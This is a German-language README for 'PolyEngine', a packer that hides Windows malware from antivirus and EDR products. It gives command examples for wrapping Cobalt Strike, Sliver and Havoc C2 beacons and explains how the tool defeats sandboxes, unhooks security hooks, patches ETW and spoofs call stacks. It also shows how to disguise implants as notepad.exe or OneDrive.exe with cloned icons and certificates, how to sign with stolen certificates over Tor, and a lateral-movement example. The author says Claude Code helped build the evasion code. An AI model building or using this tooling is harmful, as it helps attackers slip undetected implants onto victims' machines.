
PolyEngine ist ein evasiver PE-Packer für CTF-Challenges und die Ausbildung in Low-Level-Windows-Sicherheit. Er umgeht EDR- und AV-Heuristiken durch einen mehrschichtigen Stack aus In-Memory-Ausführung und Verschleierungstechniken.
# PolyEngine — Polymorpher PE-Packer 📦
**PolyEngine** ist ein forschungsorientierter, evasiver PE-Packer, der für CTF-Herausforderungen und Low-Level-Windows-Sicherheitsbildung entwickelt wurde. Er konzentriert sich auf die Umgehung von EDR- und AV-Heuristiken durch einen geschichteten Stapel von In-Memory-Ausführungs- und Verschleierungstechniken.
Dies ist ein Nebenprojekt, an dem ich schon einige Zeit arbeite. Ich habe Claude Code verwendet, um einige Techniken zu implementieren und zu korrigieren, die ich in meinem eigenen PE-Packer umsetzen wollte. Es gibt viele Kommentare zu Funktionen und deren Funktionsweise, da es für mich eine große Lernerfahrung war – und Claude macht das fehlerfrei (ich bin darin schlecht). Ich hoffe, es hilft manchen Menschen, etwas über Windows-Interna zu lernen oder beim Umgehen einiger AVs und statischer Erkennungen von fortschrittlicheren Lösungen, wenn du dich an diese ProLabs wagst 🏯.
🔥 Ein großes Dankeschön an [MalDevAcademy](https://maldevacademy.com/) für das gesamte Material, um es zu erstellen, und für die Inspiration.
🌩 Danke an [vx-underground](https://x.com/vxunderground) für die Inspiration durch einen albernen Tweet mit einer lächerlichen Katze.
> **Haftungsausschluss:** Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, CTF-Wettbewerbe und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist untersagt. Der Autor übernimmt keine Haftung für Missbrauch.
---
## Verwendung
Build-Reihenfolge: **Zuerst Stub, dann Builder**. Stub Release|x64 erzeugt `stub_v0.bin`..`stub_v3.bin`; der Builder bettet eines in `.rsrc` ein.
Stell sicher, dass sich `stub_v0.bin`..`stub_v3.bin` im Arbeitsverzeichnis befinden (oder übergib `--stub`).```
Builder.exe <input> <output> [OPTIONS]
<input> Target PE (.exe/.dll) or raw shellcode (.bin)
Payload type is auto-detected from the MZ header - no flag needed.
<output> Output executable
Loader:
--stub <path> Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin]
--preset PRINT|MEDIA|NETWORK|RANDOM
Module stomping DLL preset [default: PRINT]
--overload Module overloading instead of stomping
(NtCreateSection/NtMapViewOfSection, not in PEB LDR)
--keep-alive ExitThread(0) instead of ExitProcess
(required for C2 implants that spawn their own threads)
--unhook Restore original .text bytes in ntdll/kernel32/
kernelbase from \KnownDlls\ clean copies
(overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode):
--export <name> DLL export to invoke after DllMain
--arg <string> Argument passed to the export [max 127 chars]
Evasion (all ON by default):
--spoof-name <exe> Process name for PEB spoof [default: random from pool]
Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
SearchIndexer.exe taskhostw.exe spoolsv.exe
wlrmdr.exe WMPDMC.exe hvix64.exe
--exec-ctrl-name <name> Semaphore name for exec-ctrl check [default: wuauctl]
(max 31 chars)
--sleep-fwd-ms <ms> Sleep duration for sleep-fwd check [default: 500]
Detection threshold: 90% of <ms> elapsed
--uptime-min <minutes> Uptime threshold for uptime check [default: 2]
--hammer-s <seconds> API-hammer delay duration [default: 3]
--disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens:
etw EtwEventWrite patch (ETW telemetry suppression)
spoofing Call-stack spoofing (SilentMoonwalk RSP pivot)
peb PEB path/cmdline spoof
tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens:
hammer API-hammer timing delay (VirtualAlloc/Free loop)
debugger Debugger detection (PEB flags / NtQueryInformationProcess)
api-emu API emulation probe (RtlComputeCrc32 identity check)
exec-ctrl Execution-control semaphore (re-execution detection)
sleep-fwd Sleep-forwarding detection (timing)
uptime System uptime check
cpu CPU count check (< 2 logical cores)
screen Screen resolution check (<= 1024 px width)
files Recent-files count check (< 5 RecentDocs subkeys)
all Disable every token listed above
Identity spoofing:
--pfx <path> PFX certificate container to sign the output with
--pfx-pass <password> PFX passphrase [omit if PFX has no password]
--ts-url <url> RFC 3161 timestamp URL [default: no timestamping]
OPSEC: timestamping reveals build IP/time to the TSA.
Enable only when signing from an isolated VM, or when
the signature must survive cert revocation.
--clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory
from a donor PE (e.g. notepad.exe, OneDrive.exe).
Explorer "Details" tab shows donor company/product/version;
file icon matches donor; "Digital Signatures" tab shows
donor's signer (HashMismatch — defeats visual inspection only).
Name output to match donor OriginalFilename field.
When combined with --pfx: real signature overwrites cloned cert.
--uac Embed a UAC elevation manifest (requireAdministrator).
Output PE prompts for admin privileges on launch.
Applied as Phase 10.5 (after packing, before signing).
Examples:
Builder.exe implant.exe packed.exe
Builder.exe implant.exe packed.exe --stub stub_v2.bin
Builder.exe shellcode.bin packed.exe --keep-alive
Builder.exe beacon.dll packed.exe --export Start --keep-alive
Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe"
Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls
Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5
Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx
Builder.exe implant.exe packed.exe --uac
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
---
## Beispiele
Ausgearbeitete Beispiele, nach Szenario gruppiert. Jedes Flag ist opt-out (Evasion ist standardmäßig vollständig aktiviert), sodass bereits der einfachste Aufruf den vollen Stack erhält.
<details>
<summary><b>Grundlegendes Packen - EXE / DLL / shellcode</b></summary>
Packe eine nicht verwaltete EXE. Der Builder erkennt den `MZ`-Header automatisch und leitet über den RunPE-Pfad weiter:```
Builder.exe implant.exe packed.exe
```
Packe rohen positionsunabhängigen Shellcode (Cobalt Strike `.bin`, msfvenom `-f raw`, usw.). Kein `MZ` → direkter Aufruf in den dekomprimierten Puffer:```
Builder.exe beacon.bin packed.exe
```
Packen Sie eine DLL und rufen Sie nur deren Standard-`DllMain` auf (kein Export):```
Builder.exe payload.dll packed.exe
```
Verwenden Sie einen Stub aus einem nicht standardmäßigen Speicherort:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>
<details>
<summary><b>DLL-Payloads mit Exports - Havoc / Sliver / Custom-Beacons</b></summary>
Rufen Sie einen benannten Export auf, nachdem `DllMain` zurückkehrt. Die meisten C2-Implants werden als DLL mit einem einzigen Einstiegsexport ausgeliefert (z. B. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
Übergib ein String-Argument an den Export (max. 127 Zeichen). Nützlich für Payloads, die eine Konfigurationszeichenfolge, URL oder einen Shell-Befehl entgegennehmen:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` ist für jede Payload erforderlich, die eigene Threads erzeugt – ohne sie ruft der Loader `ExitProcess` auf und beendet die Beacon.
</details>
<details>
<summary><b>Langlaufende Implants (C2-Beacons)</b></summary>
Cobalt Strike / Sliver / Havoc erzeugen alle einen Beacon-Thread und kehren zurück. Der Loader-Thread muss enden, ohne den Prozess zu beenden:```
Builder.exe beacon.exe packed.exe --keep-alive
Builder.exe beacon.bin packed.exe --keep-alive
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
</details>
<details>
<summary><b>Module-Stomping-Voreinstellungen – Auswahl einer Host-DLL</b></summary>
Der Entschlüsseler-Stub ist im `.text`-Abschnitt einer harmlosen Windows-DLL versteckt. Wählen Sie die Voreinstellung, deren geladene Module für den Zielkontext am legitimsten aussehen:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (Standard) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Auf den meisten Workstations verbreitet.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Passt zu einem Payload, der bereits geladene Netzwerk-APIs benötigt.
`RANDOM` - drei zufällige Indizes aus dem gesamten Pool (einschließlich `bcrypt.dll`, idx 9).
Wechsel vom `LoadLibraryW`-Stomping zur `NtCreateSection`+`NtMapViewOfSection`-Überladung (DLL gelangt nie in `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>
<details>
<summary><b>Unhooking im EDR-Userland</b></summary>
Stelle saubere `.text`-Bytes für `ntdll`, `kernel32`, `kernelbase` aus `\KnownDlls\` über alle EDR-Inline-Hooks wieder her. HellsHall umgeht bereits sensible `Nt*`-Hooks; `--unhook` wird nur benötigt, wenn der Payload selbst gehookte Win32-APIs aufruft (z. B. `LoadLibrary`, `CreateProcess`):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>
<details>
<summary><b>PEB-Spoofing - Tarnung des Prozesses</b></summary>
Überschreibe den automatisch ausgewählten Spoof-Namen. Wähle etwas, das zum übergeordneten Prozess / Startkontext passt (Office-Makro → `RuntimeBroker.exe` sieht seltsam aus, `WmiPrvSE.exe` fügt sich besser ein):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
Der Spoof-Name ist nur ein ASCII-Dateiname - Stub stellt `C:\Windows\System32\` zur Laufzeit voran. Alles, was nicht im standardmäßigen 9-Prozess-Pool liegt, funktioniert ebenfalls.
</details>
<details>
<summary><b>Feinabstimmung der Evasionsschwellen</b></summary>
Längere Hammer-Verzögerung gegen geduldige Sandboxen, die mehrere Sekunden lang laufen, bevor sie ihr Urteil fällen:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
Höhere Uptime-Schwelle – nur ausführen, wenn das System seit mindestens 30 Minuten läuft (die meisten Sandboxes starten eine frische VM pro Sample):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
Strengere Sleep-Forwarding-Erkennung (kürzerer Schlaf, schwerer ohne beobachtbaren Fehler vorzuspulen):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
Benutzerdefinierter Semaphorname für die Exec-Control-Prüfung (vermeidet Kollisionen mit einem anderen Sample, das das standardmäßige `wuauctl` verwendet):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
Stapeln Sie alles für ein paranoides Profil:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>
<details>
<summary><b>Deaktivieren von Funktionen für Debugging / Laborarbeit</b></summary>
Beim Durchlaufen im Debugger werden der TLS-Callback und die Debugger-Prüfungen sofort ausgelöst. Deaktivieren Sie beide, um sich frei anzuhängen:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
Skip every sandbox check (still keeps OPSEC features on - ETW patch, PEB spoof, call-stack spoof):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
Dasselbe, kürzer:```
Builder.exe implant.exe packed.exe --disable all
```
Deaktiviere bestimmte OPSEC-Funktionen (z. B. wenn die Zielumgebung kein ETW-Patching benötigt oder PEB-Spoof einen Payload beschädigt, der sein eigenes PEB durchläuft):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` deckt nur Sandbox-/Debug-Checks ab. OPSEC-Tokens (`etw`, `spoofing`, `peb`, `tls`) müssen explizit aufgelistet werden.
</details>
<details>
<summary><b>Identitätsklonen — VERSIONINFO, Icon, Authenticode-Zertifikat</b></summary>
Kopiere die kosmetische Identität einer beliebigen Spender-PE in die gepackte Ausgabedatei. Die Explorer-Eigenschaften, das Taskleisten-Symbol und der Tab „Digitale Signaturen“ der Ausgabedatei spiegeln alle den Spender wider:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
Was geklont wird:
- **VERSIONINFO** (`RT_VERSION`) — die Registerkarte „Eigenschaften → Details“ im Explorer: Firma, Produktname, Dateiversion, Copyright. Alle im Spender vorhandenen Sprach-IDs werden kopiert.
- **Icon** (`RT_GROUP_ICON` + `RT_ICON`) — die Icon-Gruppe mit der niedrigsten ID (diejenige, die der Explorer für das Shell-Icon verwendet). Taskleiste, Alt-Tab und Dateibrowser zeigen alle das Icon des Spenders.
- **Authenticode-Zertifikatsverzeichnis** — der rohe `WIN_CERTIFICATE`-PKCS#7-Blob wird am 8-Byte-ausgerichteten Dateiende angehängt. Die Registerkarte „Eigenschaften → Digitale Signaturen“ im Explorer zeigt den Unterzeichner des Spenders (z. B. `Microsoft Windows`). `Get-AuthenticodeSignature` gibt `Status = HashMismatch` zurück — die Signatur ist strukturell gültig, aber der Hash deckt die Bytes des Spenders ab, nicht unsere. Verhindert nur eine beiläufige visuelle Prüfung; jeder echte Prüfer (`signtool verify`, `WinVerifyTrust`, AV-Engines) erkennt die Abweichung.
**OPSEC — OriginalFilename:** Das VERSIONINFO des Spenders bettet `OriginalFilename` ein (z. B. `notepad.exe`). Einige Signaturprüfer und Defender-Heuristiken melden eine Abweichung zwischen `OriginalFilename` und dem tatsächlichen Dateinamen auf der Festplatte. Benenne die Ausgabe entsprechend:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**Kombination mit `--pfx`:** Wenn beide Flags vorhanden sind, läuft Phase 11 (Klonen) vor Phase 12 (Signieren). Die echte Signatur überschreibt das geklonte Zertifikatverzeichnis; VERSIONINFO und Icon bleiben erhalten. `Get-AuthenticodeSignature` zeigt Ihr Zertifikat als gültig, nicht das Zertifikat des Spenders mit nicht übereinstimmendem Hash:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**Verifizierung:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>
<details>
<summary><b>UAC-Erhöhung — requireAdministrator-Manifest</b></summary>
Betten Sie ein `requestedExecutionLevel="requireAdministrator"`-Manifest ein, sodass die ausgegebene PE beim Start eine UAC-Eingabeaufforderung auslöst und ein Token mit hoher Integrität erhält, wenn der Benutzer zustimmt:```
Builder.exe implant.exe packed.exe --uac
```
Das Manifest ist eine `RT_MANIFEST`-Ressource (Ressourcen-ID 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`), derselbe Slot, den der Windows-Loader für Anwendungskompatibilitäts- und Berechtigungsmanifeste prüft. Die Ausgabe ist ansonsten identisch mit einem Build ohne `--uac`; es gibt keine Änderungen am Stub- oder Payload-Pfad.
**Kombination mit `--clone-meta` und `--pfx`:** Phase 10.5 (Manifest) läuft vor Phase 11 (Klonen) und Phase 12 (Signieren). Die in Phase 12 berechnete Authenticode-Signatur deckt alle eingebetteten Ressourcen einschließlich des Manifests ab — der Hash ist über die endgültige Binärdatei gültig. Der UAC-Dialog zeigt den Herausgebernamen aus dem Signierzertifikat:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** Eine UAC-Eingabeaufforderung ist ein sichtbares, benutzerorientiertes Ereignis. Der Dialog „Möchten Sie zulassen, dass diese App Änderungen an Ihrem Gerät vornimmt?" zeigt den Dateinamen auf der Festplatte und den Authenticode-Herausgeber (oder „Unbekannter Herausgeber", falls nicht signiert) an. Kombinieren Sie `--uac` mit `--clone-meta`, um ein vertrautes Symbol anzuzeigen, und `--pfx`, um einen glaubwürdigen Herausgeber anzuzeigen. Für unbeaufsichtigte Ausführungen, die bereits aus einem erhöhten Prozess starten (z. B. Dienst, WMI-Seitenbewegung, lokale Admin-Shell), ist `--uac` nicht erforderlich.
</details>
<details>
<summary><b>Authenticode-Signierung (PFX, ohne signtool)</b></summary>
Signieren Sie die gepackte Ausgabe mit einem PFX-Zertifikat. Der Builder kommuniziert direkt mit `mssign32!SignerSignEx2` — kein `signtool.exe` auf der Workstation des Bedieners, kein Windows-SDK-Signierungstool erforderlich:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
PFX ohne Passwort (das `--pfx-pass`-Flag vollständig weglassen):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
Füge einen Zeitstempel gemäß RFC 3161 hinzu, damit die Signatur gültig bleibt, nachdem das Zertifikat abläuft oder widerrufen wird. Beachte, dass die Zeitstempel-Autorität die Build-IP und den genauen Zeitpunkt der Signierung protokolliert — siehe den OPSEC-Hinweis unten:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — wann der Zeitstempel übersprungen werden sollte:** `--ts-url` ist opt-in. Jede Anfrage an eine öffentliche TSA bringt den Build-Host des Operators in die HTTP-Logs der TSA, zusammen mit der genauen Sekunde, in der die Signatur erstellt wurde — eine starke forensische Korrelation, falls die Probe später in der Incident-Response auftaucht. Das Einbetten des Zeitstempels stempelt denselben Moment auch in den Signatur-Blob innerhalb der gepackten PE, wo ihn jeder spätere Analyst lesen kann. Wenn kein Zeitstempel erforderlich ist (typisch für selbstsignierte Zertifikate oder kurzlebige Operationen, bei denen die Gültigkeit der Signatur über das Ablaufdatum des Zertifikats hinaus keine Rolle spielt), lasse das Flag weg, und das Signieren bleibt vollständig air-gap-fähig.
**OPSEC — wann der Zeitstempel beibehalten werden sollte:** Gestohlene oder kurzlebige Code-Signatur-Zertifikate, die widerrufen werden, profitieren von einer TSA-Gegensignatur — Windows akzeptiert die Signatur nach dem Widerruf, solange der Zeitstempel vor dem Widerrufseintrag liegt. In diesem Fall signiere von einer isolierten VM über einen Proxy / Tor und behandele die Logs der TSA als bewusste (aber begrenzte) Offenlegung.
Der private Schlüssel wird nie persistiert: `PFXImportCertStore` wird mit `PKCS12_NO_PERSIST_KEY` aufgerufen, sodass kein Schlüsselcontainer unter `%APPDATA%\Microsoft\Crypto` erscheint. SHA-256-Digest, CNG-bevorzugter KSP für Kompatibilität mit PFXs, die von `New-SelfSignedCertificate` und OpenSSL ≥3.x erzeugt wurden.
</details>
<details>
<summary><b>Realistische Kombinationen</b></summary>
Cobalt Strike-Beacon-DLL, netzwerkthematischer Host, vollständige Evasion, benutzerdefinierter Mutex-Name:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon-Shellcode, Überladen statt Stomping, längere Hammer-Verzögerung:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
Stage-2 EXE für ein CTF, bei dem du den Auslöser kontrollierst und kein Anti-Debugging benötigst:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
Helper-DLL für Lateral Movement mit einem Pfadargument:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
Langzeit-Implantat, getarnt als gängige Microsoft-Binärdatei, vollständiger Evasion-Stack:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
Gepacktes Beispiel mit einem echten selbstsignierten Zertifikat + passender VERSIONINFO-Identität:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>
---
## Build
**Nur Visual Studio 2022 (MSVC v143), Release|x64.** Öffnen Sie `PolyEngine.sln`.
Die Build-Reihenfolge ist wichtig:
1. **Stub**-Projekt (Release|x64) → MSBuild-Fan-out erzeugt `x64/Release/stub_v0.bin` … `stub_v3.bin` (`POLY_VARIANT=0..3`)
2. **Builder**-Projekt → erzeugt `Builder/x64/Release/Builder.exe` (oder Solution-OutDir)
Jede `stub_v*.bin` ist eine PE mit ausschließlich dem Linker-Einstiegspunkt `EntryPoint` (kein CRT). Die Varianten unterscheiden sich in der OPSEC-Phasenreihenfolge und dem Decoy-/Island-Layout; HellsHall/Moonwalk bleiben gemeinsam. Der Builder wählt zufällig eine davon aus dem aktuellen Arbeitsverzeichnis (oder über `--stub`) aus, führt StubMorph aus und bettet die Nutzlast dann unter einer pro Build vergebenen RT_RCDATA-ID ein.
MASM: `Stub.vcxproj` → `HellsHall.asm`; Builder → `Engine/DecryptorStub.asm`. Kein CMake, kein Makefile.
**So fügen Sie einen neuen API-Hash hinzu:** Berechnen Sie `Djb2HashA("ApiName")` (gleicher Algorithmus wie in `ApiHashing.cpp`), fügen Sie eine `g_Hash_*`-Globale in `ApiHashing.h` hinzu und initialisieren Sie sie in `ApiHashing_InitHashes()`.
---
## Architekturübersicht
Drei Komponenten implementieren eine **Packen → Verschlüsseln → Injizieren**-Pipeline: **Builder** verpackt die Eingabe-PE/den Shellcode, **Engine** (gemeinsame Bibliothek) stellt Krypto-/Kompression-/Mutations-Primitive bereit, **Stub** ist der in die Ausgabe-PE eingebettete Laufzeit-Executor.
<details>
<summary>Detaillierter Pipeline- und Stub-Ausführungsablauf</summary>```
Builder.exe
├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
├── reads target PE or raw shellcode (.bin)
├── LZNT1 compress
├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
├── MutationEngine → unique polymorphic ASM decryptor per build
├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
├── XTEA-CTR encrypt (outer layer)
├── BuildInfectedPE:
│ ├── patch TLS guard marker (--disable tls)
│ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
│ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
│ ├── write stub → output PE
│ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
├── (optional) UAC manifest / clone-meta / Authenticode sign
└── Output.exe
Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs
├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags)
├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls)
├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3):
│ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb
│ (HellsHall.asm + g_Spoof* layout identical in every variant)
├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload);
│ LZNT1 decompress; restore stomped .text
└── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode);
keep-alive: ExitThread (PE) or Sleep park (raw SC)
```
</details>
---
## Evasionstechniken
<details>
<summary><b>Loader-Varianten — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>
Stub-Release|x64 erzeugt **vier** Loader über MSBuild (`POLY_VARIANT=0..3`, eigenes `IntDir`). Jedes Binary hat eine andere OPSEC-Phasenreihenfolge und pro Variante unterschiedliche Decoy-/Island-Größen (`PolyIslands.c`), sodass sich die statischen Hashes unterscheiden. Gemeinsam und **niemals** variantenverzweigt: `HellsHall.asm`, SilentMoonwalk-Datenlayout (`g_SpoofSyntheticStack`), TLS-/ResID-Marker-Tags.
| Variante | `Loader_OpsecPhase`-Reihenfolge |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |
Builder ohne `--stub` wählt zufällig aus `stub_v0.bin`..`stub_v3.bin` im aktuellen Arbeitsverzeichnis (CWD) (`CryptGenRandom`). `--stub <path>` erzwingt eine Datei.
</details>
<details>
<summary><b>StubMorph zur Packzeit</b></summary>
Nach den TLS-/ResID-Marker-Patches und vor dem Schreiben der Ausgabe-PE mutiert `StubMorph_Apply` (`Engine/StubMorph.c`) das gewählte Loader-Image an Ort und Stelle:
- plausibler `TimeDateStamp`, gezogen aus **[now−5y, now]** — ein vollständig zufälliger DWORD kann in der Zukunft liegen, was ein Heuristik-Flag ist
- Toolchain-Profil-Sektionsnamen (MSVC-/MinGW-/Delphi-/NSIS-Stil, pro Build ausgewählt; überspringt `.rsrc`, `.reloc`, `.tls`, `.CRT`) — zufällige 8-Zeichen-Namen würden UPX-artige Packer-Heuristiken auslösen
- `IMAGE_DIRECTORY_ENTRY_DEBUG` löschen + PE-Prüfsumme (später neu berechnet, falls `--pfx`)
- POLY-Island-Paddings neu schreiben (`50 4C 59 A0` … `AF`-Marker in `PolyIslands.c`, einschließlich des `g_PolyDecoy`-Islands) mit Zufallsbytes der **gleichen Länge**, dann die Tag-Marker selbst randomisieren — kein `PLY`-Muster oder fester Decoy-Inhalt überlebt in der Ausgabe-PE; kein PE-Wachstum, keine Reloc-Fixups
HellsHall, Spoof-Globale oder Marker-Tags, die vom TLS-/ResID-Patching verwendet werden, bleiben unberührt.
</details>
<details>
<summary><b>Indirekte Syscalls — HellsHall</b></summary>
Alle sensiblen NT-Operationen (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, usw.) laufen über indirekte Syscalls statt über die gehookten User-Mode-Stubs in der Prozess-ntdll:
1. Beim Start parst `Syscalls_Init()` das Exportverzeichnis der Prozess-ntdll und sammelt die RVA jeder `Zw*`-Funktion in einer flachen Tabelle.
2. SSNs werden durch **RVA-Sortierung** abgeleitet (HellsGate/FreshyCalls-Variante): Alle `Zw*`-RVAs werden sortiert; sortierter Index == SSN. Hook-agnostisch by Design — funktioniert selbst dann, wenn EDR-Hooks Funktionsprologe umgeschrieben haben, denn Hooks ändern die Reihenfolge der Exporte nicht.
3. Ein `syscall; ret` (`0F 05 C3`)-Trampolin wird innerhalb der `.text`-Sektion der Prozess-ntdll lokalisiert. Die 3-Byte-Sequenz ist der Standard-Anhang jedes `Nt*`-Stubs. EDR-Userland-Inline-Hooks zielen auf den *Einstiegspunkt* exportierter `Nt*`-Funktionen (erste 5–15 Bytes) — niemals auf die Syscall-Instruktion am Ende des Stubs, da das Patchen der Mitte eines Stubs dessen Semantik brechen würde. Die Bytes an jeder passenden Stelle sind daher unverändert, identisch mit einem sauberen `\KnownDlls\`-Mapping, und liegen im MEM_IMAGE-Speicher, der durch `C:\Windows\System32\ntdll.dll` auf der Platte gestützt wird. `g_CleanTrampoline` zeigt direkt dorthin — kein sekundäres ntdll-Mapping, keine MEM_PRIVATE-Kopie.
4. Alle Syscalls springen zu `g_CleanTrampoline` — EDR-Hooks an den Einstiegspunkten exportierter Nt*-Funktionen werden umgangen. Aus der Perspektive eines ETW-Kernel-Stack-Walkers landet der Leaf-Frame bereits in `ntdll.dll` (kein „unbacked syscall“-IOC).
</details>
<details>
<summary><b>Userland-Unhooking — <code>--unhook</code></b></summary>
Optionaler Durchlauf, der einmal nach `Syscalls_Init()` und vor jedem payload-relevanten Syscall ausgeführt wird. Für jede der Dateien `ntdll`, `kernel32`, `kernelbase`:
1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — saubere Image-Bytes (dieselbe gemeinsame Sektion, aus der der Loader ursprünglich gemappt hat, bevor ein EDR Hooks installieren konnte).
2. Seitenweises `memcmp` des Live-`.text` gegen die saubere Kopie.
3. Wo sich Bytes unterscheiden (= EDR-Inline-Hook): `NtProtect RX→RW`, `memcpy` der sauberen Bytes über den Hook, `NtProtect RW→RX`.
4. Unmapping und Schließen.
Dies stellt die normale `ntdll.dll`-/`kernel32.dll`-/`kernelbase.dll`-Semantik für alle nachfolgenden Win32-Aufrufe wieder her (PEB-Walks, `LoadLibrary`, usw.). Wird übersprungen, wenn `--unhook` weggelassen wird — HellsHall umgeht bereits für sich allein alle sensiblen `Nt*`-Hooks, daher ist Unhooking optional (eine schwerwiegendere Aktion mit einem geringen Risiko, ungewöhnliche Hook-Layouts zu brechen).
</details>
<details>
<summary><b>Call-Stack-Spoofing — SilentMoonwalk-RSP-Pivot</b></summary>
EDRs überwachen den Thread-Call-Stack in dem Moment, in dem ein Syscall ausgelöst wird, um zu verifizieren, dass die Aufruferkette legitim aussieht. PolyEngine kontert dies mit einem **RSP-Pivot im SilentMoonwalk-Stil** — keine Hardware-Breakpoints, kein VEH-Handler, keine Ausnahmen:
1. `StackSpoof_Init()` durchsucht die `.text`-Sektion von ntdll (und jede andere `IMAGE_SCN_MEM_EXECUTE`-Sektion) nach zwei Gadgets:
- **Gadget 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) innerhalb einer Funktion, deren `UNWIND_INFO` ein passendes `imm8`-Allokationsdelta angibt. Eingeschränkt auf `imm8 < 0x20`, damit die Kette nicht mit weitergegebenen Stack-Argumenten kollidiert.
